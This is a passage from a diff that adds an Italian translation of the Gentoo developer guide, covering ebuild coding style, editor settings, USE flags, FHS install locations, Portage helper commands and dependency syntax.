+inserire 4 spazi per ogni tabulazione. Assicurarsi ogni volta di usare le
+parentesi attorno alle variabili d'ambiente; es. <c>${P}</c> invece di
+<c>$P</c>.
+</p>
+
+<p>
+Le linee lunghe vengono spezzate con ' \', così:
+</p>
+
+<pre caption="Spezzare le righe negli ebuild">
+./configure \
+--prefix=/usr || die "configure failed"
+</pre>
+
+<p>
+Per ulteriori dettagli, controllare <path>skel.ebuild</path> (di solito
+residente in <path>/usr/portage</path>).
+</p>
+
+<p>
+Se si utilizza Vim per la modifica di ebuild/eclass, il file vimrc predefinito
+di Gentoo, <path>/etc/vim/vimrc</path>, assicura già che venga usata la
+corretta indentazione e le impostazioni associate ai tipi di file per gli ebuild
+e le eclass. Per ottenere risultati migliori, inclusa una speciale sintassi che
+evidenzia le parole chiave degli ebuild, installare app-vim/gentoo-syntax.
+</p>
+
+<p>
+Su sistemi non Gentoo, si possono ottenere risultati simili con le seguenti
+righe nel proprio vimrc, o meglio ancora installando gli script gentoo-syntax,
+scaricabili dai mirror Gentoo.
+</p>
+
+<pre caption="Configurare vimrc per la modifica degli ebuild">
+au BufRead,BufNewFile *.e{build,class} let is_bash=1|setfiletype sh
+au BufRead,BufNewFile *.e{build,class} set ts=4 sw=4 noexpandtab
+</pre>
+
+<p>
+Se si sta usando Emacs, si dovrebbe effettuare l'emerge di
+app-emacs/gentoo-syntax (per GNU EMacs) o app-xemacs/gentoo-syntax (per XEmacs).
+Questi pacchetti forniscono le modalità principali per l'indentazione automatica
+e l'evidenziazione della sintassi per gli ebuild e altri tipi di file specifici
+di Gentoo.
+</p>
+
+<p>
+Se si sta usando nano, si è fortunati! Modificare <path>/etc/nanorc</path> e
+decommentare la sezione relativa agli ebuild.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Variabili USE</title>
+<body>
+
+<p>
+Lo scopo delle variabili USE è permettere di configurare Portage abilitando
+o disabilitando globalmente e automaticamente certe caratteristiche <e>opzionali
+durante la compilazione</e>.  Per esempio, ipotizzando di essere dei fan di
+GNOME, potrebbe far piacere che per qualsiasi ebuild avente un'opzione di
+compilazione per il supporto a GNOME venga attivata questa caratteristica. In
+questo caso è necessario aggiungere <c>gnome</c> alla variabile <c>USE</c>
+in <path>/etc/make.conf</path> per far sì che Portage aggiunga in automatico il
+supporto opzionale GNOME ai pacchetti, se disponibile. Se invece non si vuole
+il supporto a GNOME, basta modificate <path>/etc/make.conf</path> e assicurarsi
+che <c>gnome</c> <e>non</e> sia indicato nella variabile <c>USE</c>. Gentoo
+Linux ha un numero grandissimo di opzioni USE, per permettere di configurare il
+sistema a proprio piacimento.
+</p>
+
+<note>
+Se viene disattivata una variabile USE (ad esempio rimuovendo <c>gnome</c> da
+<c>USE</c>), a Portage verrà solamente ordinato di disabilitare il supporto
+<e>opzionale</e> in fase di compilazione per GNOME. Tuttavia, se si esegue
+<c>emerge</c> su un ebuild che <e>richiede</e> GNOME, il pacchetto avrà
+ovviamente il supporto per GNOME attivo, com'era prevedibile. Ciò inoltre
+implica l'installazione automatica di GNOME (come dipendenza) se non è stata già
+fatta in precedenza. E` sempre una buona idea eseguire un <c>emerge
+--pretend</c> prima di eseguire un "reale" <c>emerge</c>; in questo modo si
+saprà esattamente cosa si sta per ottenere!
+</note>
+
+<p>
+Nei propri ebuild, è possibile controllare se una variabile USE è impostata
+usando il comando <c>use &lt;variable&gt;</c>. Normalmente questo comando si usa
+in questo modo:
+</p>
+
+<pre caption="Verificare se una flag USE è impostata">
+if use X ; then
+  # comandi specifici per X ...
+fi
+</pre>
+
+<p>
+Le variabili USE possono anche essere usate per impostare le dipendenze. Per
+esempio, si potrebbe voler installare un pacchetto solo se quella determinata
+variabile USE è impostata. Ciò viene fatto usando la sintassi <c>flag? (
+categoria/pacchetto)</c> nella variabile <c>DEPEND</c> del proprio ebuild. In
+questo esempio <c>categoria/pacchetto</c> verrà richiesto solo se <c>flag</c> è
+presente in <c>USE</c>. È inoltre possibile specificare quale dipendenza usare
+se una flag USE <e>è</e> impostata, e quale dipendenza usare se <e>non</e> è
+impostata: <c>flag? (categoria/pacchetto)</c> e <c>!flag?
+(altracategoria/altropacchetto)</c>. In questo caso, se <c>flag</c> non è
+impostata, <c>altracategoria/altropacchetto</c> viene usato al posto di
+<c>categoria/pacchetto</c>. Assicurarsi che i propri ebuild usino questa
+sintassi e non gli if di Bash. Le espressioni condizionali di Bash possono
+interferire con il caching delle dipendenze di Portage, ed il loro uso può
+rendere inutilizzabile l'ebuild.
+</p>
+
+<p>
+Si dà un importante suggerimento su come usare <c>USE</c>. Il più delle volte un
+pacchetto avrà uno script <c>./configure</c> utilizzato per eseguire i passaggi
+di configurazione. Generalmente, se il proprio ebuild usa <c>./configure</c>,
+ogni caratteristica opzionale abilitabile durante la compilazione dovrà essere
+attivata o disattivata passando gli argomenti appropriati al comando
+<c>./configure</c>. Questo è il modo migliore per farlo:
+</p>
+
+<pre caption="Espressioni conditionali basate sull'impostazione di USE">
+DEPEND="X? ( &gt;=x11-base/xfree-4.3 )
+mysql? ( &gt;=dev-db/mysql-3.23.49 )
+apache2? ( &gt;=net-www/apache-2 )
+!apache2? ( =net-www/apache-1* )"
+
+src_compile() {
+  econf \
+    $(use_enable X x11) \
+    $(use_enable mysql)
+
+  emake || die "Error: emake failed!"
+}
+</pre>
+
+<p>
+Questo approccio dà dei buoni risultati. Non ci si deve preoccupare
+sull'impostazione predefinita per mysql o per X (abilitato/disabilitato),viene
+detto esplicitamente ad <c>econf</c> cosa fare in base alla variabile
+<c>USE</c>.
+Non occorre aggiungere che il codice è piuttosto chiaro in termini di
+leggibilità :).
+</p>
+
+<p>
+A volte, gli ebuild hanno delle caratteristiche facoltative in conflitto fra
+di loro. Verificare questi conflitti e restituire un errore <e>non</e> è una
+soluzione fattibile. Piuttosto bisogna favorire una di queste caratteristiche
+rispetto alle altre. Riguardo a questo, consultare gli sviluppatori
+originali (cosa usano generalmente come scelta predefinita), o considerare quale
+opzione fornisce più funzionalità di uso comune, altrimenti tirare a sorte. Un
+esempio è l'ebuild di msmtp. Il pacchetto può usare sia SSL con GnuTLS, oppure
+SSL con OpenSSL, o nessun SSL. Siccome GnuTLS ha più funzionalità rispetto a
+OpenSSL, esso verrà favorito:
+</p>
+
+<pre caption="Gestire funzionalità in conflitto tra di loro">
+src_compile() {
+    local myconf
+
+    if use gnutls ; then
+        myconf="${myconf} --enable-ssl --with-ssl=gnutls"
+    elif use ssl ; then
+        myconf="${myconf} --enable-ssl --with-ssl=openssl"
+    else
+        myconf="${myconf} --disable-ssl"
+    fi
+
+    econf \
+        # Other stuff
+        ${myconf}
+
+    emake || die "make failed"
+}
+</pre>
+
+<p>Per vedere una tabella in continuo aggiornamento delle variabili USE, andare
+<uri link="http://www.gentoo.org/dyn/use-index.xml">in questa pagina</uri>.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Locazioni nel filesystem</title>
+<subsection>
+<title>Introduzione a FHS</title>
+<body>
+
+<p>
+Gli standard del layout del filesystem usati in Gentoo Linux seguono
+scrupolosamente FHS, abbreviazione di <e>Filesystem Hierarchy Standard</e>
+(Standard della Gerarchia del Filesystem). Una descrizione semplificata dello
+standard viene data qui, per una descrizione specifica andare all'indirizzo:
+<uri>http://www.pathname.com/fhs/</uri>.
+</p>
+
+<note>
+Il percorso <path>/opt</path> viene nominato nella sezione 3.12 di FHS. La
+sezione 4.4 tratta del percorso <path>/usr/X11R6</path>.  KDE e GNOME non sono
+trattati in modo specifico e difatti non sono menzionati nella versione corrente
+di FHS.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>Come adeguare i pacchetti al filesystem</title>
+<body>
+
+<p>
+Abitualmente, se il pacchetto usa autoconf e automake, le
+destinazioni d'installazione predefinite sono quasi sempre corrette, salvo
+alcune eccezioni:
+</p>
+
+<ul>
+  <li>
+    Se si sta installando un programma in <path>/bin</path>, <path>/sbin</path>,
+    <path>/usr/bin</path> o <path>/usr/sbin</path>, la sua pagina man deve
+    essere installata in <path>/usr/share/man</path>. Ciò può essere fatto
+    specificando <c>./configure --mandir=/usr/share/man</c> all'intero
+    dell'ebuild.
+  </li>
+  <li>
+    I file GNU info, devono essere sempre installati in
+    <path>/usr/share/info</path>, <e>anche se sono file riguardanti X11, GNOME o
+    programmi o strumenti specifici di KDE</e>. Prendete nota:
+    <path>/usr/share/info</path> è la <e>sola</e> locazione ufficiale per i
+    file GNU info. Siccome gli script <c>./configure</c> installano in modo
+    predefinito i file info GNU in <c>/usr/info</c>, spesso è necessario
+    chiamare <c>./configure</c> con l'argomento
+    <c>--infodir=/usr/share/info</c>.
+  </li>
+  <li>
+    I file di documentazione sono installati in <path>/usr/share/doc</path>, in
+    una sottodirectory che riflette il nome la versione e la revisione del
+    particolare programma. Questo va applicato a tutti i programmi: GNOME, KDE,
+    X11 o programmi per console. Comunque, alcuni programmi possono installare
+    documentazione addizionale o file di supporto in una directory
+    <path>/usr/share</path> per i scopi autonomi.
+  </li>
+  <li>
+    I programmi specifici per X11 e le librerie devono essere sempre installati
+    in <path>/usr</path>, e non direttamente in <path>/usr/X11R6</path>.
+    Questo percorso è riservato all'X window system, versione 11 release 6.
+    Questo è per interpretare più alla lettera le istruzioni di FHS, rispetto a
+    come viene fatto da altre distribuzioni.
+  </li>
+  <li>
+    I programmi GNOME e KDE, devono essere sempre installati dentro
+    <path>/usr</path>.
+  </li>
+</ul>
+
+<impo>
+Alcune distribuzioni scelgono di installare GNOME e KDE dentro
+<path>/opt</path>. Non esiste uno standard per questi ambienti desktop
+riguardo a dove installare effettivamente i loro file. Nell'interesse della
+semplicità e consistenza, è stato scelto di installare tutti i pacchetti GNOME e
+KDE nella directory <path>/usr</path>.
+</impo>
+
+<p>
+In generale, bisogna far sì che gli ebuild installino i loro file in
+<path>/usr</path>. <e>Alcuni</e> programmi possono essere compilati e linkati
+con o senza le librerie GNOME, KDE e X11, cosa che può creare confusione. La
+soluzione proposta è installare tutto in <path>/usr</path> per evitare ambiguità
+e complessità inutili agli autori degli ebuild. La locazione nel filesystem di
+un programma <e>non</e> deve dipendere dalla presenza o dalla assenza di una
+variabile <c>USE</c>. Comunque, tutti gli ebuild nel portage tree <e>quasi
+sempre</e> effettueranno esclusivamente l'installazione nella gerarchia
+<path>/usr</path>.
+</p>
+
+<note>
+In Gentoo Linux il percorso <path>/opt</path> è riservato ai pacchetti binari.
+Ad esempio mozilla-bin, acroread, netscape e realplayer. I pacchetti che vengono
+installati in questa posizione richiedono uno file ausiliario
+<path>/etc/env.d/foo</path>, per poter includere le variabili d'ambiente e i
+percorsi necessari nell'ambiente di esecuzione. Per maggiori informazioni su
+<path>/etc/env.d</path>, consultare <uri
+link="/doc/it/handbook/handbook-x86.xml?part=2&amp;chap=5">questo</uri>
+documento.
+</note>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Gli script e le utilità di Portage</title>
+<subsection>
+<title>Script pubblici</title>
+<body>
+
+<p>
+Questi sono gli script usati dall'amministratore di sistema per installare e
+rimuovere pacchetti, e mantenere il database degli stessi.
+</p>
+
+<p>
+<c>ebuild</c> è il motore principale del sistema Portage; esegue le operazioni
+più importanti come l'estrazione, la compilazione, l'installazione, il merging
+e l'unmerging.  Viene richiamato usando il comando: <c>ebuild
+percorso/al/pacchetto.ebuild comando</c>.  I comandi disponibili sono:
+</p>
+
+<table>
+<tr>
+  <th>Comando</th>
+  <th>Descrizione</th>
+  <th>Relativa funzione <c>ebuild</c></th>
+</tr>
+<tr>
+  <ti><c>setup</c>*</ti>
+  <ti>Esegue vari comandi richiesti prima che l'ebuild possa procedere</ti>
+  <ti><c>pkg_setup</c></ti>
+</tr>
+<tr>
+  <ti><c>depend</c></ti>
+  <ti>Visualizza le dipendenze necessarie per la creazione del pacchetto</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>merge</c>*</ti>
+  <ti>
+    Estrae, compila, installa e esegue il merge del pacchetto nel proprio file
+    system
+  </ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>qmerge</c>*</ti>
+  <ti>
+    Esegue il merge del pacchetto nel proprio filesystem, assumendo che
+    l'estrazione, la compilazione e l'installazione siano già state eseguite
+  </ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>unpack</c>*</ti>
+  <ti>Estrae i sorgenti nella directory di lavoro</ti>
+  <ti><c>src_unpack</c></ti>
+</tr>
+<tr>
+  <ti><c>compile</c>*</ti>
+  <ti>Compila il pacchetto</ti>
+  <ti><c>src_compile</c></ti>
+</tr>
+<tr>
+  <ti><c>rpm</c></ti>
+  <ti>Crea un RPM dal pacchetto</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>package</c></ti>
+  <ti>Crea un pacchetto Gentoo <c>tbz2</c></ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>prerm</c>*</ti>
+  <ti>Esegue lo stadio di pre-rimozione del pacchetto</ti>
+  <ti><c>pkg_prerm</c></ti>
+</tr>
+<tr>
+  <ti><c>postrm</c>*</ti>
+  <ti>Esegue lo stadio di post-rimozione del pacchetto</ti>
+  <ti><c>pkg_postrm</c></ti>
+</tr>
+<tr>
+  <ti><c>preinst</c>*</ti>
+  <ti>Esegue lo stadio di pre-installazione del pacchetto</ti>
+  <ti><c>pkg_preinst</c></ti>
+</tr>
+<tr>
+  <ti><c>postinst</c>*</ti>
+  <ti>Esegue lo stadio di post-installazione del pacchetto</ti>
+  <ti><c>pkg_postinst</c></ti>
+</tr>
+<tr>
+  <ti><c>config</c></ti>
+  <ti>
+    Imposta una configurazione predefinita una volta che è stato fatto il merge
+    del pacchetto
+  </ti>
+  <ti><c>pkg_config</c></ti>
+</tr>
+<tr>
+  <ti><c>touch</c>*</ti>
+  <ti>
+    Aggiorna gli orari di modifica (mtime) per ogni archivio sorgente nel
+    pacchetto
+  </ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>clean</c>*</ti>
+  <ti>Pulisce la directory di lavoro per il pacchetto</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>fetch</c>*</ti>
+  <ti>Scarica i sorgenti del pacchetto</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>manifest</c>*</ti>
+  <ti>Crea un file Manifest per il pacchetto</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>test</c>*</ti>
+  <ti>Esegue la routine di auto-test per il pacchetto</ti>
+  <ti><c>src_test</c></ti>
+</tr>
+<tr>
+  <ti><c>install</c>*</ti>
+  <ti>Installa il pacchetto nella directory immagine</ti>
+  <ti><c>src_install</c></ti>
+</tr>
+<tr>
+  <ti><c>unmerge</c></ti>
+  <ti>Esegue l'unmerge del pacchetto dal proprio filesystem</ti>
+  <ti>N/A</ti>
+</tr>
+</table>
+
+<note>
+Nota: i comandi con l'asterisco (*) sono normalmente utilizzati solo dagli
+sviluppatori.
+</note>
+
+<p>
+<c>emerge</c> installa ricorsivamente il pacchetto e le sue dipendenze nel
+filesystem. Questo comando ha molte opzioni, eseguire <c>emerge --help</c> per
+un elenco.
+</p>
+
+<p>
+<c>env-update</c> aggiorna i file di configurazione (includendo ma non
+limitato a <path>/etc/ld.so.conf</path> e <path>/etc/profile.env</path>) per
+includere le modifiche introdotte dai pacchetti installati.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Script e comandi privati</title>
+<body>
+
+<p>
+Questi sono script che si possono usare nell'ebuild per eseguire operazioni
+comuni.
+</p>
+
+<p>
+Gli esperti possono consultare direttamente gli script
+in <path>/usr/lib/portage/bin</path>.
+</p>
+
+<table>
+<tr>
+  <th>Comando</th>
+  <th>Valore predefinito</th>
+  <th>Descrizione</th>
+  <th>Esempio</th>
+</tr>
+<tr>
+  <ti><c>diropts</c></ti>
+  <ti>-m0755</ti>
+  <ti>Imposta le opzioni usate quando si esegue <c>dodir</c></ti>
+  <ti><c>diropts -m0750</c></ti>
+</tr>
+<tr>
+  <ti><c>dobin</c></ti>
+  <ti>N/A</ti>
+  <ti>Installa i binari specificati in <path>DESTTREE/bin</path></ti>
+  <ti><c>dobin wmacpi</c></ti>
+</tr>
+<tr>
+  <ti><c>docinto</c></ti>
+  <ti><path>""</path></ti>
+  <ti>
+    Imposta la relativa sottodirectory (DOCDESTTREE) usata da <c>dodoc</c>
+  </ti>
+  <ti><c>docinto examples</c></ti>
+</tr>
+<tr>
+  <ti><c>dodir</c></ti>
+  <ti>N/A</ti> <ti>Crea una directory, gestisce trasparentemente ${D}</ti>
+  <ti><c>dodir /usr/lib/newpackage</c></ti>
+</tr>
+<tr>
+  <ti><c>dodoc</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installa i file specificati nella directory di documentazione del pacchetto
+    (<path>/usr/share/doc/${PF}/DOCDESTTREE</path>) (vedere <c>docinto</c>)
+  </ti>
+  <ti><c>dodoc README *.txt</c></ti>
+</tr>
+<tr>
+  <ti><c>doexe</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installa i file specificati con le modalità <e>EXEOPTIONS</e> (vedere
+    <c>exeopts</c>) in <path>PATH</path> definito da <e>EXEINTO</e> (vedere
+    <c>exeinto</c>)
+  </ti>
+  <ti><c>doexe ${FILESDIR}/quake3</c></ti>
+</tr>
+<tr>
+  <ti><c>dohard</c></ti>
+  <ti>N/A</ti> <ti>Crea un hardlink, gestisce trasparentemente ${D}</ti>
+  <ti><c>dohard ls /bin/dir</c></ti>
+</tr>
+<tr>
+  <ti><c>dohtml</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installa i file specificati e le directory in
+    <path>/usr/share/doc/${PF}/html</path>
+  </ti>
+  <ti><c>dohtml -r doc/html/*</c></ti>
+</tr>
+<tr>
+  <ti><c>doinfo</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installa i file specificati in /usr/share/info, e li comprime con gzip
+  </ti>
+  <ti><c>doinfo doc/*.info</c></ti>
+</tr>
+<tr>
+  <ti><c>doins</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installa i file specificati con modalità <c>INSOPTIONS</c> (vedere
+    <c>insopts</c>) in <path>INSDESTTREE</path> (vedere <c>insinto</c>)
+  </ti>
+  <ti><c>doins *.png icon.xpm</c></ti>
+</tr>
+<tr>
+  <ti><c>dolib</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installa le librerie specificate in <path>DESTTREE/lib</path> con modalità
+    0644
+  </ti>
+  <ti><c>dolib *.a *.so</c></ti>
+</tr>
+<tr>
+  <ti><c>dolib.a</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installa le librerie specificate in <path>DESTTREE/lib</path> con modalità
+    0644
+  </ti>
+  <ti><c>dolib.a *.a</c></ti>
+</tr>
+<tr>
+  <ti><c>dolib.so</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installa le librerie specificate in <path>DESTTREE/lib</path> con modalità
+    0755
+  </ti>
+  <ti><c>dolib.so *.so</c></ti>
+</tr>
+<tr>
+  <ti><c>doman</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installa i file specificati in <path>/usr/share/man/manX</path>, in accordo
+    con il suffisso del file (file.1 andrà in <path>man1</path>
+  </ti>
+  <ti><c>doman *.1 *.5</c></ti>
+</tr>
+<tr>
+  <ti><c>dosbin</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installa i file in <path>DESTTREE/sbin</path>, assicurandosi che siano
+    eseguibili
+  </ti>
+  <ti><c>dosbin ksymoops</c></ti>
+</tr>
+<tr>
+  <ti><c>dosym</c></ti>
+  <ti>N/A</ti>
+  <ti>Crea un symlink, gestisce trasparentemente ${D}.</ti>
+  <ti><c>dosym gzip /bin/zcat</c></ti>
+</tr>
+<tr>
+  <ti><c>emake</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Esegue make con <c>MAKEOPTS</c>. Alcuni pacchetti non possono essere fatti
+    in parallelo; usare invece <c>emake -j1</c>. Se si devono passare argomenti
+    extra a make, aggiungerli nel comando emake. Gli utenti possono impostare
+    la variabile di ambiente <c>EXTRA_EMAKE</c> per passare flag extra a emake.
+  </ti>
+  <ti><c>emake</c></ti>
+</tr>
+<tr>
+  <ti><c>exeinto</c></ti>
+  <ti><path>/</path></ti>
+  <ti>Imposta la root (<e>EXEDESTTREE</e>) per il comando <c>doexe</c></ti>
+  <ti><c>exeinto /usr/lib/${PN}</c></ti>
+</tr>
+<tr>
+  <ti><c>exeopts</c></ti>
+  <ti>-m0755</ti>
+  <ti>Imposta le opzioni usate quando si esegue <c>doexe</c></ti>
+  <ti><c>exeopts -m1770</c></ti>
+</tr>
+<tr>
+  <ti><c>fowners</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Applica la proprietà specificata ai file specificati tramite il comando
+    chown, gestisce trasparentemente ${D}
+  </ti>
+  <ti><c>fowners root:root /sbin/functions.sh</c></ti>
+</tr>
+<tr>
+  <ti><c>fperms</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Applica i permessi specificati ai file specificati tramite il comando
+    chmod, gestisce trasparentemente ${D}
+  </ti>
+  <ti><c>fperms 700 /var/consoles</c></ti>
+</tr>
+<tr>
+  <ti><c>insinto</c></ti>
+  <ti><path>/usr</path></ti>
+  <ti>Imposta la root (<e>INSDESTTREE</e>) per il comando <c>doins</c></ti>
+  <ti><c>insinto /usr/include</c></ti>
+</tr>
+<tr>
+  <ti><c>insopts</c></ti>
+  <ti>-m0644</ti>
+  <ti>Imposta le opzioni usate quando si esegue <c>doins</c></ti>
+  <ti><c>insopts -m0444</c></ti>
+</tr>
+<tr>
+  <ti><c>into</c></ti>
+  <ti><path>/usr</path></ti>
+  <ti>
+    Imposta il prefisso di destinazione (<path>DESTTREE</path>) per tutti i
+    comandi 'do' (come <c>dobin</c>, <c>dolib</c>, <c>dolib.a</c>,
+    <c>dolib.so</c>, <c>domo</c>, <c>dosbin</c>)</ti> <ti><c>into /</c>
+  </ti>
+</tr>
+<tr>
+  <ti><c>libopts</c></ti>
+  <ti>-m0644</ti>
+  <ti>Imposta le opzioni usate quando si esegue <c>dolib</c></ti>
+  <ti><c>libopts -m0555</c></ti>
+</tr>
+<tr>
+  <ti><c>newbin</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper di <c>dobin</c> che installa il binario specificato in modo
+    trasparente rinominando il secondo argomento
+  </ti>
+  <ti><c>newbin ${FILESDIR}/vmware.sh vmware</c></ti>
+</tr>
+<tr>
+  <ti><c>newdoc</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper di <c>dodoc</c> che installa il file specificato in modo trasparente
+    rinominando il secondo argomento
+  </ti>
+  <ti><c>newdoc README README.opengl</c></ti>
+</tr>
+<tr>
+  <ti><c>newexe</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper di <c>doexe</c> che installa il file specificato in modo trasparente
+    rinominando il secondo argomento
+  </ti>
+  <ti><c>newexe ${FILESDIR}/xinetd.rc xinetd</c></ti>
+</tr>
+<tr>
+  <ti><c>newins</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper di <c>doins</c> che installa il file specificato in modo trasparente
+    rinominando il secondo argomento
+  </ti>
+  <ti><c>newins ntp.conf.example ntp.conf</c></ti>
+</tr>
+<tr>
+  <ti><c>newman</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper di <c>doman</c> che installa il file specificato in modo trasparente
+    rinominando il secondo argomento
+  </ti>
+  <ti><c>newman xboing.man xboing.6</c></ti>
+</tr>
+<tr>
+  <ti><c>newsbin</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper di <c>dosbin</c> che installa il file specificato in modo
+    trasparente rinominando il secondo argomento
+  </ti>
+  <ti><c>newsbin strings strings-static</c></ti>
+</tr>
+<tr>
+  <ti><c>prepall</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Esegue <c>prepallman</c>, <c>prepallinfo</c> e <c>prepallstrip</c>. Si
+    accerta anche che tutte le librerie in <path>/opt/*/lib</path>,
+    <path>/lib</path>, <path>/usr/lib</path> e <path>/usr/X11R6/lib</path> siano
+    eseguibili. Sposta anche le macro aclocal in <path>/usr/share/aclocal</path>
+  </ti>
+  <ti><c>prepall</c></ti>
+</tr>
+<tr>
+  <ti><c>prepalldocs</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Il comportamento di questa funzione è cambiato tra le varie versioni di
+    Portage, pertanto le ebuild non dovrebbero usarla.
+  </ti>
+  <ti><c>prepalldocs</c></ti>
+</tr>
+<tr>
+  <ti><c>prepallinfo</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Comprime tramite GZip ricorsivamente tutti i file info in
+    <path>/usr/share/info</path>
+  </ti>
+  <ti><c>prepallinfo</c></ti>
+</tr>
+<tr>
+  <ti><c>prepallman</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Comprime tramite GZip ricorsivamente tutte le pagine man in
+    <path>/opt/*/man/*</path>, <path>/usr/share/man/*</path>,
+    <path>/usr/local/man/*</path>, <path>/usr/X11R6/share/man/*</path> e
+    aggiusta trasparentemente ogni percorso symlink
+  </ti>
+  <ti><c>prepallman</c></ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Dipendenze dei pacchetti</title>
+<subsection>
+<title>Perché le dipendenze sono importanti</title>
+<body>
+
+<p>
+Portage non è solamente un comodo script che offre un modo unificato per
+compilare qualsiasi progetto (programma, libreria) dai sorgenti. In aggiunta
+permette di scaricare ed installare automaticamente tutte le dipendenze
+necessaria, ovviamente specificandole nell'ebuild.
+</p>
+
+<p>
+Negli ebuild ufficiali, tutte le dipendenze sono già specificate, quindi quando
+si esegue <c>emerge net-www/mozilla/mozilla-1.0</c>, Portage si assicurerà che
+tutte le librerie necessarie per compilare ed eseguire Mozilla siano
+correttamente installate prima che Mozilla stesso venga compilato.
+</p>
+
+<p>
+Portage distingue le dipendenze build-time (in fase di compilazione) e run-time
+(in fase di esecuzione). (Avvertenza: Attualmente Portage installa tutte le
+dipendenze di compilazione e di esecuzione, lasciando poi tutto così com'è. In
+futuro sarà possibile ripulire la propria installazione in modo che rimangano
+installate solamente le dipendenze di esecuzione.).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Come specificare le dipendenze nei vostri files ebuild (a.k.a. DEPEND
+Atoms)</title>
+<body>
+
+<p>
+La variabile <c>DEPEND</c> all'interno dell'ebuild <path>foo-x.y.z.ebuild</path>
+dice a Portage quali sono i pacchetti necessari per compilare <path>foo</path>.
+La variabile <c>RDEPEND</c> specifica quali pacchetti sono necessari per
+eseguire <path>foo</path>. <c>RDEPEND</c> deve essere impostata esplicitamente
+anche se corrisponde esattamente a DEPEND poiché in futuro è pianificata la
+rimozione da Portage della sua valorizzazione predefinita a DEPEND.
+</p>
+
+<pre caption="Esempio di dipendenza">
+DEPEND="virtual/opengl
+    dev-libs/libxml2"
+RDEPEND="${DEPEND}"
+</pre>
+
+<p>
+Ciò dice a Portage che per compilare <path>foo-x.y.z</path> sono necessari i
+pacchetti <path>virtual/opengl</path> (maggiori informazioni sui virtual a
+breve) e <path>dev-libs/libxml2</path>. Non dice niente su quale sia la versione
+richiesta di opengl o libxml2, ciò significa che "va bene qualsiasi cosa".
+</p>
+
+<p>
+Il "va bene qualsiasi cosa" ovviamente è un po' inquietante, e generalmente non
+funzionerà. Però per le librerie che devono sempre essere al compatibili al 100%
+con i binari, attualmente funziona. Per le altre librerie, è possibile
+ovviamente specificare le dipendenze con la versione.
+</p>
+
+<pre caption="Esempio di versione">
+&gt;=sys-apps/bar-1.2
+=sys-apps/baz-1.0
+</pre>
+
+<p>
+&gt;= e = fanno quello che ci si aspetta; va bene la versione 1.2 o
+superiore di sys-apps/bar (ciò significa che sys-apps/bar-2.0 può andare bene),
+mentre solamente la versione 1.0 di sys-apps/baz è accettata. Per
+maggiori informazioni sullo schema delle versioni dei pacchetti, vedere la
+precedente sezione <uri link="#doc_chap2_sect2">Dare il nome ai file
+ebuild</uri>.
+</p>
+
+<p>
+Questi sono altri modi di specificare le dipendenze delle versioni:
+</p>
+
+<pre caption="Specificare le dipendenze con la versione">
+~sys-apps/qux-1.0
+=sys-apps/foo-1.2*
+!sys-libs/gdbm
+</pre>
+
+<p>
+~sys-apps/qux-1.0 selezionerà la revisione più nuova di qux-1.0
+</p>
+
+<p>
+=sys-apps/foo-1.2* selezionerà il membro più nuovo della serie 1.2 e ignorerà le
+serie 1.3 e quelle precedenti/successive. Ciò significa che foo-1.2.3 e
+foo-1.2.0 sono valide, mentre foo-1.3.3, foo-1.3.0, e foo-1.1.0 non lo sono.
+Tenere presente che rientra nella corrispondenza anche foo-1.22.3 , che a volte
+potrebbe diventare un problema.
+</p>
+
+<p>
+!sys-libs/gdbm impedirà l'installazione di questo pacchetto finché gdbm è già
+installato.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Note importanti</title>
+<body>
+
+<p>
+Ci sono molte cose difficili da capire con le variabili DEPEND e RDEPEND. Ecco
+alcuni punti importanti da seguire quando si scrivono le dipendenze.
+</p>
+
+<ul>
+  <li>
+    <e>Includere sempre la CATEGORIA.</e><br /> Per esempio, usare
+    <c>&gt;=x11-libs/gtk+-2</c> e non <c>&gt;=gtk+-2</c>.
+  </li>
+  <li>
+    <e>Non mettere un asterisco (*) per le dipendenze di tipo &gt;= .</e><br />
+    Per esempio, dovrebbe essere <c>&gt;=x11-libs/gtk+-2</c> invece di
+    <c>&gt;=x11-libs/gtk+-2*</c>.
+  </li>
+  <li>
+    <e>Mai mettere come dipendenza un meta-pacchetto.</e><br /> Non mettere
+    gnome-base/gnome tra le dipendenze, ma inserire sempre le librerie
